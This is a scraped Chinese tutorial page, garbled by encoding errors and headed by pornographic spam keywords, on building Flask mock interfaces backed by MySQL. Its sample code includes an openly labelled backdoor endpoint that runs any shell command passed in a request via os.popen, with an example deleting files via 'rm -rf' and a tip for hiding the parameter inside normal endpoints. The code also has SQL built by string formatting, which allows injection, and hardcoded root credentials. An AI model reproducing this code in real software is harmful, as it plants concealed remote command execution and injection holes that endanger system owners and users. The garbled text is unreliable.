欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

python學(xué)習(xí)開(kāi)發(fā)mock接口

 更新時(shí)間:2019年04月28日 09:10:04   作者:sylvia2016  
這篇文章主要為大家詳細(xì)介紹了python學(xué)習(xí)開(kāi)發(fā)mock接口的相關(guān)資料,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下

本文實(shí)例為大家分享了python學(xué)習(xí)開(kāi)發(fā)mock接口的具體步驟,供大家參考,具體內(nèi)容如下

#1.測(cè)試為什么要開(kāi)發(fā)接口?

1)在別的接口沒(méi)有開(kāi)發(fā)好的時(shí)候, mock接口(模擬接口)
2)查看數(shù)據(jù), 避免直接操作數(shù)據(jù)庫(kù)

#2.開(kāi)發(fā)接口的順序

1)安裝flask

flask是一個(gè)輕量級(jí)開(kāi)發(fā)框架

pip install flask

2)開(kāi)發(fā)一個(gè)接口

開(kāi)發(fā)步驟:

1.實(shí)例化一個(gè)服務(wù)server:flask.Flask(__name__)
2.函數(shù)前加裝飾器@server.route(), 將函數(shù)變?yōu)橐粋€(gè)接口
3.啟動(dòng)服務(wù)server:server.run()

import flask,json,pymysql
server=flask.Flask(__name__)#__name__代表當(dāng)前python文件, 把當(dāng)前python文件當(dāng)成一個(gè)服務(wù)
 
def opt_db(sql):
  coon=pymysql.connect(
    host='192.168.109.132',
    user='root',
    passwd='123456',
    db='besttest',
    port=3306,
    charset='utf8'
  )#建立db鏈接
  cur=coon.cursor()#建立游標(biāo)
  cur.execute(sql);#執(zhí)行sql
  if sql.strip()[:6].upper()=='SELECT':
    res=cur.fetchall()#獲取sql返回
  else:
    coon.commit()
    res='ok'
  cur.close()#關(guān)閉游標(biāo)
  coon.close()#關(guān)閉db鏈接
  return res
 
 
#get請(qǐng)求, 請(qǐng)求路徑ip:port/index
@server.route('/index',methods=['get'])#裝飾器,代表index函數(shù)是一個(gè)接口,支持get請(qǐng)求(默認(rèn)get請(qǐng)求)
def index():
  res={'msg':'這是我開(kāi)發(fā)的第一個(gè)接口','msg_code':'0'}
  return json.dumps(res,ensure_ascii=False,indent=4)
 
 
#post請(qǐng)求, 請(qǐng)求路徑ip:port/reg
@server.route('/reg',methods=['post'])#裝飾器,代表reg函數(shù)是一個(gè)接口,支持post請(qǐng)求(可以同時(shí)支持get、post請(qǐng)求)
def reg():
  username=flask.request.values.get('username')#獲取接口入?yún)?
  pwd=flask.request.values.get('passwd')
  if username and pwd:
    sql='select * from syz_stu where username="%s";'%username
    if opt_db(sql):
      res={'msg':'用戶已存在','msg_code':2001}#2001用戶已存在
    else:
      insert_sql='insert into syz_stu (username,passwd) VALUES ("%s","%s");'%(username,pwd)
      opt_db(insert_sql)
      res={'msg':'注冊(cè)成功','msg_code':'0'}
  else:
    res={'msg':'必填字段未填, 請(qǐng)查看接口文檔','msg_code':1001}#1001必填字段未填
  return json.dumps(res,ensure_ascii=False,indent=4)
 #后門接口
@server.route('/error',methods=['post'])#路由,訪問(wèn)地址為----IP:端口/error
def cmd():
  cmd = flask.request.values.get('cmd')#接口的入?yún)?
  res = os.popen(cmd)#執(zhí)行用戶命令
  return res.read()#返回執(zhí)行結(jié)果
  #http://127.0.0.1:8999/error?cmd=rm -rf a.txt 后門接口可以直接通過(guò)瀏覽器刪除系統(tǒng)文件
  #隱蔽一點(diǎn)的方法,把cmd = flask.request.values('cmd',None)寫入正常接口
  # 默認(rèn)可以不傳,一但傳了再res = os.popen(cmd)
 
server.run(port=6688,debug=True,host='0.0.0.0')#啟動(dòng)服務(wù),接口才能訪問(wèn)
# port=6688指定端口為6688
# debug=True設(shè)置代碼修改后服務(wù)自動(dòng)重啟
# host='0.0.0.0'設(shè)置同一局域網(wǎng)的可以訪問(wèn)
# server.run() 必須在所有接口定義完后再定義, 否則, server.run()檢測(cè)不到之后定義的接口, 接口是無(wú)法被運(yùn)行的

運(yùn)行以上代碼,打開(kāi)瀏覽器,請(qǐng)求http://localhost:6688/index,將看到返回{'msg': '這是我開(kāi)發(fā)的第一個(gè)接口', 'msg_code': 0}

以上就是本文的全部?jī)?nèi)容,希望對(duì)大家的學(xué)習(xí)有所幫助,也希望大家多多支持腳本之家。

相關(guān)文章

  • Python Selenium中等待設(shè)置的實(shí)現(xiàn)

    Python Selenium中等待設(shè)置的實(shí)現(xiàn)

    本文主要介紹了Python Selenium中等待設(shè)置的實(shí)現(xiàn),過(guò)詳實(shí)的示例代碼,深入介紹了顯式等待、隱式等待、自定義等待條件、多重等待條件、頁(yè)面加載狀態(tài)的等待、元素存在與可見(jiàn)性等待、Fluent等待以及異步JavaScript加載的等待,感興趣的可以了解一下
    2023-12-12
  • Python中xmltodict對(duì)xml的操作方式

    Python中xmltodict對(duì)xml的操作方式

    這篇文章主要介紹了Python中xmltodict對(duì)xml的操作方式,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2023-03-03
  • CentOS下Python3的安裝及創(chuàng)建虛擬環(huán)境的方法

    CentOS下Python3的安裝及創(chuàng)建虛擬環(huán)境的方法

    這篇文章主要介紹了CentOS下Python3的安裝及創(chuàng)建虛擬環(huán)境的方法,本文給大家介紹的非常詳細(xì),具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2018-11-11
  • Python shelve模塊實(shí)現(xiàn)解析

    Python shelve模塊實(shí)現(xiàn)解析

    這篇文章主要介紹了Python shelve模塊實(shí)現(xiàn)解析,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2019-08-08
  • 分享Python?的24個(gè)編程超好用技巧

    分享Python?的24個(gè)編程超好用技巧

    這篇文章主要給大家分享Python?的24個(gè)編程超好用技巧,下面分享一些python技巧和?tips,這些技巧將根據(jù)其首字母按?A-Z?的順序進(jìn)行展示,具有一定的參考價(jià)值,需要的小伙伴可以參考一下
    2022-02-02
  • Python調(diào)用Fortran的三種形式

    Python調(diào)用Fortran的三種形式

    這篇文章主要介紹了在Python中調(diào)用Fortran的三種形式,文中有詳細(xì)的代碼示例,感興趣的同學(xué)可以參考閱讀
    2023-04-04
  • tensorflow使用指定gpu的方法

    tensorflow使用指定gpu的方法

    TensorFlow是一個(gè)基于數(shù)據(jù)流編程(dataflow programming)的符號(hào)數(shù)學(xué)系統(tǒng),被廣泛應(yīng)用于各類機(jī)器學(xué)習(xí),這篇文章主要介紹了tensorflow使用指定gpu的方法,需要的朋友可以參考下
    2020-02-02
  • python實(shí)現(xiàn)漢諾塔算法

    python實(shí)現(xiàn)漢諾塔算法

    這篇文章主要為大家詳細(xì)介紹了python實(shí)現(xiàn)漢諾塔算法,文中示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2018-09-09
  • Python中查找缺失值的三種方法

    Python中查找缺失值的三種方法

    本文主要介紹了Python中查找缺失值的三種方法,包括pandas庫(kù)的isnull()方法、numpy庫(kù)的isnan()方法和scikit-learn庫(kù)的SimpleImputer類,感興趣的可以了解一下
    2023-11-11
  • Python協(xié)程原理全面分析

    Python協(xié)程原理全面分析

    協(xié)程(co-routine,又稱微線程、纖程)是一種多方協(xié)同的工作方式。協(xié)程不是進(jìn)程或線程,其執(zhí)行過(guò)程類似于Python函數(shù)調(diào)用,Python的asyncio模塊實(shí)現(xiàn)的異步IO編程框架中,協(xié)程是對(duì)使用async關(guān)鍵字定義的異步函數(shù)的調(diào)用
    2023-02-02

最新評(píng)論